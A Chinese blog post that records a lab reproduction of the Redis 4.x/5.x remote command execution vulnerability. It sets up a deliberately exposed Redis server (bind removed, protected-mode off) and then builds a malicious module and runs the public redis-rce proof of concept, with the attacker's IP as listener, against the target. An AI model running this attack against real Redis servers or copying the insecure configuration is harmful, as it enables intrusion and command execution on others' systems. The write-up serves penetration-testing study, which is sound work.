• Redis远程命令执行漏洞复现


    本文首发于我的个人博客,记录了我在实验室学习渗透测试所做的第二个漏洞复现,全部过程记录在此,以便后续查看,同时也希望本文能对您有所帮助。

    同时,若文章有什么错误,请到我的个人博客进行核对,或者请在评论区告知,谢谢!

    前言

    Redis简介

    Redis是一个高性能的key-value存储系统,支持多种value类型,提供了Java, C/C++, C#, PHP, JavaScript, Perl, Object-C, Python, Ruby, Erlang等客户端。

    实验环境

    • 攻击机:Kali 192.168.227.128
    • 靶机:Kali 192.168.227.129
    • 影响范围:Redis4.x、5.x

    靶机安装Redis包

    1. 下载Redis包:

      wget download.redis.io/releases/redis-4.0.11.tar.gz
      

    2. 解压安装包

      tar xzvf redis-4.0.11.tar.gz
      

      当前目录下会出现一个名为``redis-4.0.11`的文件夹。

    3. make安装

      进入文件夹,在usr/local/redis目录下安装redis:

      make PREFIX=/usr/local/redis install
      

      之后命令行刷屏,等待一会后,出现如下提示,安装结束:

    4. 检查安装是否有问题

      安装命令行提示,输入:

      make test
      

      等待一会儿,若出现以下提示,说明测试通过,安装已完成:

    5. 拷贝源码中的redis.conf到/usr/local/redis中

      cp /redis-4.0.11/redis.conf /usr/local/redis
      
    6. 修改redis.conf

      进入/usr/local/redis目录,打开redis.conf,做出以下修改:

      • 找到未注释的bind 127.0.0.1,并注释掉
      • 修改protected-mode属性为no(可通过IP访问)
      • 修改daemonize属性为yes(标识redis以后台方式启动)
    7. 服务端启动服务

      进入/usr/local/redis/bin目录下,执行如下命令:

      ./redis-server /usr/local/redis/redis.conf
      

      结果如下:

    8. 启动客户端连接并测试

      同样在bin目录下,执行如下命令:

      ./redis-cli
      

      结果如下:

    攻击

    攻击机中需要下载RedisModules-ExecuteCommandpoc

    1. 下载RedisModules-ExecuteCommand

      git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
      

      然后进入RedisModules-ExcuteCommand目录,直接make编译:

      make
      
    2. 下载poc

      git clone https://github.com/Ridter/redis-rce.git
      
    3. 复制

      将RedisMoudules-ExecuteCommand/src下的modules.so文件复制到poc目录(redis-rce)下。

    4. 安装需要的库

      我在运行redis.rce.py时,提示我缺少six这个库,需要pip安装。首先安装pip:

      curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
      

      安装完成后,当前目录下会出现一个get-pip.py文件,运行后就可以使用pip了:

      python get-pip.py
      

      然后就可以安装需要的库:

      pip install six
      
    5. 运行poc

      在redis-rce目录下,命令行键入:

      Python redis-rce.py -r 目标机ip -L 攻击机ip -f module.so
      

      结果如下:

  • 相关阅读:
    Java中的访问修饰符详细解析
    Java继承 练习题
    (转)Java 内存整理——堆、栈、常量池
    关于Char思考题
    如何使用帮助文档
    工具类的来由与静态方法
    题解 【NOIP2011】计算系数
    题解 【Uva】硬币问题
    题解 【NOIP2006】作业调度方案
    题解 【NOIP2003】神经网络
  • 原文地址:https://www.cnblogs.com/Alleyn180400524/p/13526419.html
Copyright © 2020-2023  润新知